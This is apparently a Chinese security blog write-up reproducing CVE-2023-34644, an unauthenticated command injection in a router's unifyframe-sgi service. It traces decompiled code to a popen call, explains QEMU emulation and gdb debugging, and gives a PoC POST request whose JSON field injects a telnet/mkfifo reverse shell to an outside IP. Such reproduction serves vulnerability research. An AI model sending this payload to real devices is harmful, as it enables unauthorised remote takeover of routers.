"ERROR (%s %s %d)Get method failed!" , "sgi.c" , "parse_content" , 633 ); goto LABEL_31; } if ( strstr (string_1, "cmdArr" ) ) { v8 = v18; *(_BYTE *)(a1 + 56 ) = 1 ; if ( json_object_object_get_ex(v8, "params" , &v16) != 1 ) goto LABEL_31; v9 = 0 ; v10 = json_object_array_length(v16); *(_DWORD *)(a1 + 52 ) = v10; while ( v9 < v10 ) { idx = json_object_array_get_idx(v16, v9); if ( idx ) { v12 = (int *)malloc_cmd(); if ( !v12 ) { uf_log_printf(uf_log, "ERROR (%s %s %d)cmd paras failed!" , "sgi.c" , "parse_content" , 654 ); break ; } v13 = parse_obj2_cmd(idx, string ); *v12 = v13; if ( !v13 ) { uf_log_printf(uf_log, "ERROR (%s %s %d)cmd paras failed!" , "sgi.c" , "parse_content" , 659 ); json_object_put(idx_1); free_cmd(v12); return -1 ; } pkg_add_cmd(a1, v12); v12[2 ] = v9; } ++v9; } } else { *(_DWORD *)(a1 + 52 ) = 1 ; v14 = (int *)malloc_cmd(); if ( !v14 ) { uf_log_printf(uf_log, "ERROR (%s %s %d)memory full!" , "sgi.c" , "parse_content" , 673 ); goto LABEL_31; } v15 = parse_obj2_cmd(idx_1, string ); *v14 = v15; if ( !v15 ) { uf_log_printf(uf_log, "ERROR (%s %s %d)cmd paras failed!" , "sgi.c" , "parse_content" , 679 ); free_cmd(v14); goto LABEL_31; } pkg_add_cmd(a1, v14); v14[2 ] = 0 ; } json_object_put(idx_1); return 0 ; }
parse_obj2_cmd:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 int __fastcall parse_obj2_cmd (int idx, int string ) { v3 = malloc (52 ); v5 = v3; if ( !v3 ) { uf_log_printf(uf_log, "ERROR (%s %s %d)memory is full!" , "sgi.c" , "parse_obj2_cmd" , 276 ); return 0 ; } memset (v3, 0 , 52 ); if ( string ) *(_DWORD *)(v5 + 16 ) = strdup(string ); if ( json_object_object_get_ex(idx, "module" , &v46) != 1 || (string_7 = json_object_get_string(v46), (string_8 = string_7) == 0 ) || strcmp (string_7, "esw" ) ) { if ( json_object_object_get_ex(idx, "method" , &v46) != 1 ) { uf_log_printf(uf_log, "ERROR (%s %s %d)obj_method is null" , "sgi.c" , "parse_obj2_cmd" , 346 ); goto LABEL_137; } string_1 = json_object_get_string(v46); string_2 = string_1; if ( !string_1 ) { uf_log_printf(uf_log, "ERROR (%s %s %d)s_method is null" , "sgi.c" , "parse_obj2_cmd" , 352 ); goto LABEL_137; } if ( strstr (string_1, "devSta" ) ) { n2 = 2 ; } else { if ( strstr (string_2, "acConfig" ) ) { *(_DWORD *)v5 = 0 ; goto LABEL_50; } if ( strstr (string_2, "devConfig" ) ) { *(_DWORD *)v5 = 1 ; goto LABEL_50; } if ( strstr (string_2, "devCap" ) ) { n2 = 3 ; } else { if ( !strstr (string_2, "ufSys" ) ) { uf_log_printf(uf_log, "ERROR (%s %s %d)invalid method" , "sgi.c" , "parse_obj2_cmd" , 367 ); LABEL_50: v19 = strchr (string_2, 46 ); v20 = strdup(v19 + 1 ); *(_DWORD *)(v5 + 4 ) = v20; if ( !v20 ) { n375 = 375 ; goto LABEL_136; } if ( json_object_object_get_ex(idx, "params" , &v47) == 1 ) { if ( json_object_object_get_ex(v47, "module" , &v46) == 1 ) { string_3 = json_object_get_string(v46); if ( string_3 ) { string_4 = strdup(string_3); *(_DWORD *)(v5 + 8 ) = string_4; if ( !string_4 ) { n375 = 397 ; goto LABEL_136; } if ( json_object_object_get_ex(v47, "remoteIp" , &v46) == 1 && (unsigned int )(json_object_get_type(v46) - 5 ) < 2 ) { string_5 = json_object_get_string(v46); if ( string_5 ) { string_6 = strdup(string_5); *(_DWORD *)(v5 + 20 ) = string_6; if ( !string_6 ) { n375 = 419 ; goto LABEL_136; } } } else { *(_DWORD *)(v5 + 20 ) = 0 ; } goto LABEL_66; } uf_log_printf(uf_client_log, "(%s %s %d)obj_module is null" , "sgi.c" , "parse_obj2_cmd" , 392 ); } else { uf_log_printf(uf_log, "ERROR (%s %s %d)obj_module is null" , "sgi.c" , "parse_obj2_cmd" , 387 ); } } else { uf_log_printf(uf_log, "ERROR (%s %s %d)params is null" , "sgi.c" , "parse_obj2_cmd" , 381 ); } LABEL_137: cmd_msg_free(v5); return 0 ; } n2 = 4 ; } } *(_DWORD *)v5 = n2; goto LABEL_50; ..... if ( json_object_object_get_ex(v47, "data" , &v46) == 1 && (unsigned int )(json_object_get_type(v46) - 4 ) < 3 ) { string_16 = json_object_get_string(v46); if ( string_16 ) { string_17 = strdup(string_16); *(_DWORD *)(v5 + 12 ) = string_17; if ( !string_17 ) { n375 = 561 ; goto LABEL_136; } } } return v42; }
这个结束后会执行
1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall pkg_add_cmd (int a1, _DWORD *a2) { _DWORD *v2; v2 = *(_DWORD **)(a1 + 92 ); *(_DWORD *)(a1 + 92 ) = a2 + 13 ; a2[13 ] = a1 + 88 ; a2[14 ] = v2; *v2 = a2 + 13 ; a2[15 ] = a1; return gettimeofday(a2 + 3 , 0 ); }
主要作用是在 a1 中记录了 a2 的指针,而从 parse_content 可以得出 a2 是 parse_obj2_cmd 的返回值。所以就是将解析后的各个字段的内存记录到了 a1 之中,可以通过 a1 访问刚刚解析出来的各个字段
解析后各自段如下
add_pkg_cmd2_task 现在看接下来执行的 add_pkg_cmd2_task(_DWORD *a1) 函数,其中 a0 就是执行 parase_content 函数的结构体地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 int __fastcall add_pkg_cmd2_task (_DWORD *a1) { if ( n1001 < 1001 ) { pthread_mutex_lock(*a1 + 20 ); v3 = (_DWORD *)a1[22 ]; v4 = (int **)(v3 - 13 ); for ( i = *v3 - 52 ; ; i = *(_DWORD *)(i + 52 ) - 52 ) { if ( v4 + 13 == a1 + 22 ) { pthread_mutex_unlock(*a1 + 20 ); return 0 ; } v6 = malloc (20 ); v7 = v6; if ( !v6 ) { uf_log_printf(uf_log, "ERROR (%s %s %d)memory full!" , "uf_cmd_task.c" , "cmd_add_task" , 164 ); uf_log_printf( uf_log, "ERROR (%s %s %d)[%s]module cmd to task failed!" , "uf_cmd_task.c" , "add_pkg_cmd2_task" , 203 , (const char *)(*v4)[2 ]); uf_log_printf(uf_log, "ERROR (%s %s %d)cmd to task failed!" , "uf_cmd_task.c" , "error_task_handle" , 181 ); v4[12 ] = (int *)2 ; v8 = v4[15 ]; n2 = v8[12 ] + 1 ; LABEL_17: v8[12 ] = n2; goto LABEL_23; } v10 = v6 + 4 ; *(_DWORD *)(v7 + 8 ) = v10; *(_DWORD *)(v7 + 4 ) = v10; *(_DWORD *)v7 = v4; *(_DWORD *)(v7 + 16 ) = v7 + 12 ; *(_DWORD *)(v7 + 12 ) = v7 + 12 ; if ( g_debug >= 3 ) uf_log_printf( uf_log, "(%s %s %d)[%x]cmd start[%s]" , "uf_cmd_task.c" , "cmd_add_task" , 171 , v7, (const char *)(*v4)[2 ]); *(_DWORD *)v7 = v4; v11 = *v4; n3 = **v4; if ( n3 == 3 ) break ; if ( n3 == 4 ) { gettimeofday(v4 + 5 , 0 ); uf_sys_handle(**(_DWORD **)v7, v4 + 1 ); LABEL_22: gettimeofday(v4 + 7 , 0 ); sub_40B644(v7); goto LABEL_23; } if ( n3 == 2 && !strcmp (v11[1 ], "get" ) && !v11[9 ] && uf_cmd_buf_exist_check(v11[2 ], 2 , v11[3 ], v4 + 1 ) ) { if ( g_debug >= 3 ) uf_log_printf( uf_log, "(%s %s %d)dev_sta get -m %s from buf:%s" , "uf_cmd_task.c" , "add_pkg_cmd2_task" , 231 , *(const char **)(**(_DWORD **)v7 + 8 ), (const char *)v4[1 ]); *(_DWORD *)(*(_DWORD *)v7 + 44 ) = 1 ; sub_40B644(v7); v8 = *(int **)v7; n2 = 2 ; goto LABEL_17; } sub_40B304(v7); LABEL_23: v4 = (int **)i; } gettimeofday(v4 + 5 , 0 ); if ( uf_cmd_call(*v4, v4 + 1 ) ) n2_1 = 2 ; else n2_1 = 1 ; v4[12 ] = (int *)n2_1; goto LABEL_22; } v1 = -1 ; if ( g_debug ) uf_log_printf(uf_log, "WARN (%s %s %d)CMD TASK full!" , "uf_cmd_task.c" , "add_pkg_cmd2_task" , 196 ); return v1; }
sub_40B304,该函数关键作用是过过渡到 sub_40B0B0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 int __fastcall sub_40B304 (int **a1) { v2 = **a1; if ( *(_DWORD *)v2 == 5 ) { LABEL_2: *(_BYTE *)(v2 + 48 ) = 1 ; if ( byte_435EC9 ) { v3 = a1; p_pthread_mutex_unlock = (int (*)())sub_40B0B0; return ((int (__fastcall *)(int **))p_pthread_mutex_unlock)(v3); } LABEL_28: v3 = a1; p_pthread_mutex_unlock = sub_40B168; return ((int (__fastcall *)(int **))p_pthread_mutex_unlock)(v3); } if ( *(_DWORD *)(v2 + 20 ) ) { v5 = is_self_ip(*(_DWORD *)(v2 + 20 )); v6 = *a1; if ( !v5 ) { v2 = *v6; goto LABEL_2; } v6[11 ] = 3 ; } }
sub_40B0B0对关键信号量进行处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __fastcall sub_40B0B0 (_DWORD *a1) { _DWORD *v2; _DWORD *v3; ++dword_435ECC; pthread_mutex_lock(&unk_435E74); v2 = (_DWORD *)dword_435DC4; a1[3 ] = &cmd_task_run_head; dword_435DC4 = (int )(a1 + 3 ); a1[4 ] = v2; *v2 = a1 + 3 ; v3 = (_DWORD *)dword_435DB4; a1[2 ] = dword_435DB4; dword_435DB4 = (int )(a1 + 1 ); a1[1 ] = &cmd_task_remote_head; *v3 = a1 + 1 ; pthread_mutex_unlock(&unk_435E74); sem_post(&unk_435E90); return 0 ; }
所以就要找哪里阻塞了线程,发现在 uf_task_remote_pop_queue 函数中的 sem_wait(&unk_453E90) 本身卡住了,在这里对信号量+1后,就可以执行调用 uf_task_remote_pop_queue 的函数 deal_remote_config_handle ,从而继续调用到了关键的 uf_cmd_call 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 void __fastcall __noreturn deal_remote_config_handle (int a1) { int v1; int v3; _DWORD *v4; int v5; int n2; int v7; v1 = pthread_self(); pthread_detach(v1); pthread_setcanceltype(1 , 0 ); prctl(15 , "remote_config_handle" ); while ( 1 ) { do { *(_DWORD *)(a1 + 16 ) = 0 ; v3 = uf_task_remote_pop_queue(); *(_DWORD *)(a1 + 16 ) = v3; } while ( !v3 ); v4 = *(_DWORD **)v3; strncpy (a1 + 20 , *(_DWORD *)(**(_DWORD **)v3 + 8 ), 63 ); *(_DWORD *)(a1 + 8 ) = dword_435E8C; *(_BYTE *)(a1 + 12 ) = 1 ; if ( g_debug >= 3 ) uf_log_printf( uf_log, "(%s %s %d)********start:[%s]" , "uf_cmd_task.c" , "deal_remote_config_handle" , 482 , *(const char **)(***(_DWORD ***)(a1 + 16 ) + 8 )); cmd_check_debug(*v4); gettimeofday(v4 + 5 , 0 ); v5 = uf_cmd_call(*v4, v4 + 1 ); gettimeofday(v4 + 7 , 0 ); n2 = 2 ; if ( !v5 ) n2 = 1 ; v4[12 ] = n2; if ( g_debug >= 3 ) uf_log_printf( uf_log, "(%s %s %d)********end:[%s]" , "uf_cmd_task.c" , "deal_remote_config_handle" , 493 , *(const char **)(***(_DWORD ***)(a1 + 16 ) + 8 )); v7 = *(_DWORD *)(a1 + 16 ); *(_BYTE *)(a1 + 12 ) = 0 ; sub_40B644(v7); *(_DWORD *)(a1 + 16 ) = 0 ; } }
uf_cmd_call
栈区变了颜色,意味着这些地址是内存共享区的地址,线程中的栈区就是父进程中内存共享区地址
Z
我们这里是 devSta 为 2 ,所以这个 if 进不去
然后出来到
这里 v2 是 devSta.set 中的 set 部分,uf_ex_cmd_type 数组
、
第一个元素就是 set,所以这个 while 进不去
然后
这里 a1+45 当时解析的时候有一个标志位,但这个 from_url 并没有特别设置,所以这里为 0,进入 if (!v17),执行跳转 goto LABEL_86
(a1+45)
然后到 LABEL_86
这里 v110[20] 是 data 字段,调试后发现 false,进不去
然后到
调试后知道 v103[7] 为 2,这里进不去,然后触发 goto LABEL_174 然后 goto LABEL_175
401行判断 get 不成功,因为 v103[5] 是 set
435行可以进入,但是 423 行,可以通过特定条件满足为 1,但是没控制时,调试来发现偏移 48 位置仍然为 1,可能时之前某处代码设置了这个位置的值,总之这里 if 进不去
然后出来后直接到了
ufm_handle 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int __fastcall ufm_handle (int a1) { ... v2 = *(const char **)(a1 + 8 ); v4 = *(_DWORD *)(a1 + 20 ); v5 = *(_DWORD *)(a1 + 56 ); if ( !v2 || !*v2 ) goto LABEL_184; LABEL_184: if ( !strcmp (v5, "group_change" ) || !strcmp (v5, "network" ) || !strcmp (v5, "network_group" ) ) sub_40E498(); v7 = strcmp (v4, "get" ); if ( !v7 ) { ... } if ( !strcmp (v4, "set" ) || !strcmp (v4, "add" ) || !strcmp (v4, "del" ) || !strcmp (v4, "update" ) ) { v33 = sub_40FD5C(a1); LABEL_168: v1 = v33; goto LABEL_175; } ... }
sub_4DFD5C(a1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int __fastcall sub_40FD5C (int *a1) { memset (v60, 0 , sizeof (v60)); v2 = (_BYTE *)a1[20 ]; if ( !v2 || !*v2 ) return -1 ; n2 = a1[7 ]; v4 = n2 < 2 ; if ( n2 ) { v5 = json_object_object_get(a1[23 ], "sn" ); if ( !v5 ) goto LABEL_45; ... LABEL_45: n2 = a1[7 ]; goto LABEL_46; } ... LABEL_46: v4 = n2 < 2 ; goto LABEL_47; ... LABEL_47: if ( v4 ) { ... } else { if ( n2 != 2 ) { .... } v18 = sub_40CEAC(a1, a1 + 22 , 0 , 0 );
sub_40CEAC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 if ( strcmp (v5, "commit" ) ) { if ( strcmp (v5, "init" ) ) { if ( !a4 && !a1[7 ] ) { ... } } } LABEL_29: gettimeofday(v96, 0 ); v22 = a1[24 ]; if ( !*(_DWORD *)(v22 + 160 ) ) { if ( !is_module_support_lua(a1[24 ], a1) ) { v69 = a1[20 ]; if ( v69 ) v70 = strlen (v69); else v70 = 0 ; ... if ( a3 ) { ... } else if ( a4 ) { ... } else { v76 = snprintf (v72, v74, "/usr/sbin/module_call %s %s" , (const char *)a1[5 ], (const char *)(v73 + 8 )); v77 = (const char *)a1[20 ]; v78 = &v72[v76]; if ( v77 ) v78 += snprintf (&v72[v76], v74, " '%s'" , v77); v79 = a1[21 ]; if ( v79 ) snprintf (v78, v74, " %s" , v79 } ... if ( (!v81 || !strcmp (v80, "commit" ) || a3) && *((_BYTE *)a1 + 4 ) ) { if ( v82 && g_debug >= 2 || g_debug >= 3 ) uf_log_printf(uf_log, "(%s %s %d)start 1----------cmd:%s" , "ufm_handle.c" , "call_module_commit" , 454 , v72); ufm_commit_add(0 , v72, 1 , 0 ); n77771 = 0 ; } else { if ( v82 && g_debug >= 2 || g_debug >= 3 ) uf_log_printf(uf_log, "(%s %s %d)start 2----------cmd:%s" , "ufm_handle.c" , "call_module_commit" , 459 , v72); n77771 = ufm_commit_add(0 , v72, 0 , a2); }
而 ufm_commit_add 函数最开始直接调用了 async_cmd_push_queue 函数,所以接下来直接对其进行分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 memset (v6, 0 , 68 ); if ( !a1 ) { if ( a2 ) { v19 = strdup(a2); *(_DWORD *)(v7 + 28 ) = v19; if ( v19 ) goto LABEL_32; uf_log_printf(uf_log, "ERROR (%s %s %d)memory malloc failed![%s]" , "ufm_thd.c" , "async_cmd_push_queue" , 133 , a2); } else { uf_log_printf(uf_log, "ERROR (%s %s %d)invalid commit para!" , "ufm_thd.c" , "async_cmd_push_queue" , 139 ); } LABEL_27: free (v7, v9); goto LABEL_5; } LABEL_32: v20 = (_DWORD *)dword_435DE0; *(_DWORD *)(v7 + 60 ) = &commit_task_head; dword_435DE0 = v7 + 60 ; n1001 = ::n1001; *(_DWORD *)(v7 + 64 ) = v20; *v20 = v7 + 60 ; ::n1001 = n1001 + 1 ; *(_BYTE *)(v7 + 32 ) = v3; if ( !v3 ) sem_init(v7 + 36 , 0 , 0 ); pthread_mutex_unlock(&unk_4360B8); sem_post(&unk_4360A8); return v7; }
追踪到了这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 void __fastcall __noreturn sub_41AFC8 (int a1) { int v2; int commit_task_head; int v4; int v5; int v6; pthread_setcanceltype(1 , 0 ); v2 = pthread_self(); pthread_detach(v2); prctl(15 , "exec_cmd_task" ); *(_BYTE *)(a1 + 8 ) = 0 ; while ( 1 ) { do { sem_wait(&unk_4360A8); pthread_mutex_lock(&unk_4360B8); commit_task_head = ::commit_task_head; if ( (int *)::commit_task_head == &::commit_task_head ) { v4 = 0 ; } else { v4 = ::commit_task_head - 60 ; *(_DWORD *)(*(_DWORD *)::commit_task_head + 4 ) = *(_DWORD *)(::commit_task_head + 4 ); **(_DWORD **)(commit_task_head + 4 ) = *(_DWORD *)commit_task_head; *(_DWORD *)(commit_task_head + 4 ) = 0 ; *(_DWORD *)commit_task_head = 0 ; --n1001; } pthread_mutex_unlock(&unk_4360B8); *(_DWORD *)(a1 + 12 ) = v4; } while ( !v4 ); *(_DWORD *)(a1 + 4 ) = dword_4360A0; *(_BYTE *)(a1 + 8 ) = 1 ; sub_41ADF0(v4); *(_BYTE *)(a1 + 8 ) = 0 ; if ( *(_BYTE *)(v4 + 32 ) ) { v6 = *(_DWORD *)(v4 + 52 ); if ( v6 ) free (v6, v5); sub_41AD10(v4); } else { sem_post(v4 + 36 ); } *(_DWORD *)(a1 + 12 ) = 0 ; } }
sub_41ADF0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 int __fastcall sub_41ADF0 (_DWORD *a1) { int v1; int n231; _DWORD *v3; _BYTE v4[128 ]; int v5; v1 = *a1; if ( *a1 ) { if ( (a1[5 ] & 2 ) == 0 ) { n231 = (*(int (__fastcall **)(_DWORD *, _DWORD *))(v1 + 68 ))(a1 + 1 , a1 + 13 ); v3 = a1; LABEL_8: v3[14 ] = n231; return n231; } v5 = v1 + 76 ; pthread_mutex_lock(v1 + 76 ); if ( _sigsetjmp(v4, 0 ) ) { pthread_mutex_unlock(v5); _pthread_unwind_next(v4); } _pthread_register_cancel(v4); if ( *a1 ) { a1[14 ] = (*(int (__fastcall **)(_DWORD *, _DWORD *))(*a1 + 68 ))(a1 + 1 , a1 + 13 ); if ( g_debug >= 2 ) uf_log_printf( uf_log, "(%s %s %d)backgroup exec end[%s]" , "ufm_thd.c" , "exec_commit" , 220 , (const char *)(*a1 + 4 )); } pthread_mutex_unlock(v5); return _pthread_unregister_cancel(v4); } else { if ( !*((_BYTE *)a1 + 32 ) ) { n231 = ufm_popen(a1[7 ], a1 + 13 ); v3 = a1; goto LABEL_8; } uf_fork_as(a1[7 ]); n231 = 231 ; if ( g_debug >= 2 ) return uf_log_printf(uf_log, "(%s %s %d)uf_fork_as [%s]" , "ufm_thd.c" , "exec_commit" , 231 , (const char *)a1[7 ]); } return n231; }
POC 发送POST报文
1 2 3 4 5 6 { "method" : "merge" , "params" : { "sorry" : "'$(mkfifo /tmp/test;telnet 192.168.221.137 6666 0</tmp/test|/bin/sh > /tmp/test) '" } }
效果如下
固件仿真及调试 首先从https://people.debian.org/~aurel32/qemu/mipsel下载vmlinux-3.2.0-4-4kc-malta内核与debian_squeeze_mipsel_standard.qcow2文件系统
然后qemu启动
1 2 3 4 5 6 7 8 9 10 #!/bin/bash sudo qemu-system-mipsel \ -cpu 74Kf \ -M malta \ -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_squeeze_mipsel_standard.qcow2 \ -append "root=/dev/sda1 console=ttyS0" \ -net nic,macaddr=00:16:3e:00:00:01 \ -net tap \ -nographic
启动后配置网络,qemu中 nano /etc/network/interfaces,将原本的 eth0 改成 qemu 中 ip addr 中的网卡
1 2 allow-hotplug eth1 iface eth1 inet dhcp
然后 ifup eth1
保证与宿主机之间能 ping 通,不过我这里没显示,所以自己添加了ip
1 2 ifconfig eth1 192.168.221.200 netmask 255.255.255.0 up route add default gw 192.168.221.2
这里 ip 改成宿主机内 ip addr 同一网段下的ip
然后将文件系统传入 qemu 内
1 scp -r ./squashfs-root root@192.168.221.200:/root/
然后在 qemu 内
1 2 3 4 5 cd /root/squashfs-rootchmod -R 777 ./ mount --bind /proc proc mount --bind /dev devchroot . /bin/sh
chmod 给所有文件权限,然后 mount 将 /proc 和 /dev 挂载到 rootfs 中的 proc 和 dev 中,然后利用 chroot 将根目录切换到 rootfs。
然后就是对固件进行仿真,对于 openWRT(一个基于 linxu 内核的嵌入式操作系统,主要运行在路由器等网络设备上),首先会启动 /sbin/init ,启动后会卡住挂在进程中,这里可以 ssh 新开一个窗口继续操作
然后启动 httpd(http daemon,提供 http(网页)服务的后台进程) 服务,用/etc/init.d/lighttpd start,发现其缺少文件
创建空文件后再次启动
1 2 3 4 5 6 7 8 mkdir /var/runtouch /var/run/lighttpd.pidmkdir /rom/etcmkdir /rom/etc/lighttpdtouch /rom/etc/lighttpd/lighttpd.conf /etc/init.d/lighttpd start
进程中有了
浏览器中也可访问
然后就是启动 unifyframe-sgi.elf ,出现错误
因为 unifyframe-sgi.elf 用 ubus 总线进行进程间通信,因此需要先启动ubus通信,才能启动 uf_ubus_call.elf,才能启动 unifyframe-sgi.elf
然后启动
1 ./etc/init.d/unifyframe-sgi start
守护进程收到一个 segment fault
main->reserve_core()函数
但是目录下却没有,创建后运行
发现缺少文件,这里 rg_device.json 大概率从前某个前置操作复制而来,搜索同名文件,有很多,而 ufm_init() 函数会从该文件中提取 dev_type 字段,发现除了 /sbin/hw/default/rg_device.json中都有此字段 ,随便复制一个
然后启动
ps中也有
然后下载一个 gdbserver 传进去 https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%8B%E5%BA%8F/gdbserver
1 scp -r ./gdbserver-7.7.1-mipsel-mips32-v1 root@192.168.221.200:/root/squashfs-root
然后 qemu 内让 gdbserver 附加到 unifyframe.elf 的进程中
1 ./gdbserver-7.7.1-mipsel-mips32-v1 0.0.0.0:1234 --attach 1745
然后宿主机内用 gdb 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #!/bin/bash # simple_debug.shwhile true ; do echo "启动GDB调试会话..." echo "----------------------------------------" gdb-multiarch -q ./usr/sbin/unifyframe-sgi.elf \ -ex "set architecture mips" \ -ex "set endian little" \ -ex "set follow-fork-mode parent" \ -ex "target remote 192.168.157.141:1234" \ echo "GDB崩溃或断开,5秒后重新连接..." sleep 5 done
然后在 uf_socket_msg_read 下断点,此时浏览器访问,bp就能抓到
改包后放行即可开始调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /cgi-bin/luci/api/auth HTTP/1.1 Host : 192.168.221.200User-Agent : Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/x-www-form-urlencodedConnection : keep-aliveUpgrade-Insecure-Requests : 1{ "method" : "merge" , "params" : { "sorry" : "'$(mkfifo /tmp/test;telnet 192.168.221.137 6666 0</tmp/test|/bin/sh > /tmp/test) '" } }
学习文章 站在巨人肩膀上复现CVE-2023-34644 | ZIKH26’s Blog
[原创] 记一次全设备通杀未授权RCE的挖掘经历-智能设备-看雪论坛-安全社区|非营利性质技术交流社区
CVE-2023-34644复现 | S1nec-1o’s B1og
草稿 1 2 3 4 5 6 7 8 9 10 11 start () { difference=$(diff -q /etc/lighttpd/lighttpd.conf /rom/etc/lighttpd/lighttpd.conf) [ -n "$difference " ] && { cp -rf /rom/etc/lighttpd/lighttpd.conf /etc/lighttpd/lighttpd.conf } [ -d /var/log/lighttpd ] || mkdir -p /var/log/lighttpd chmod 0777 /var/log/lighttpd rm -rf /tmp/cli_lighttpd_unifyframe_sgi.sock* service_start /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf }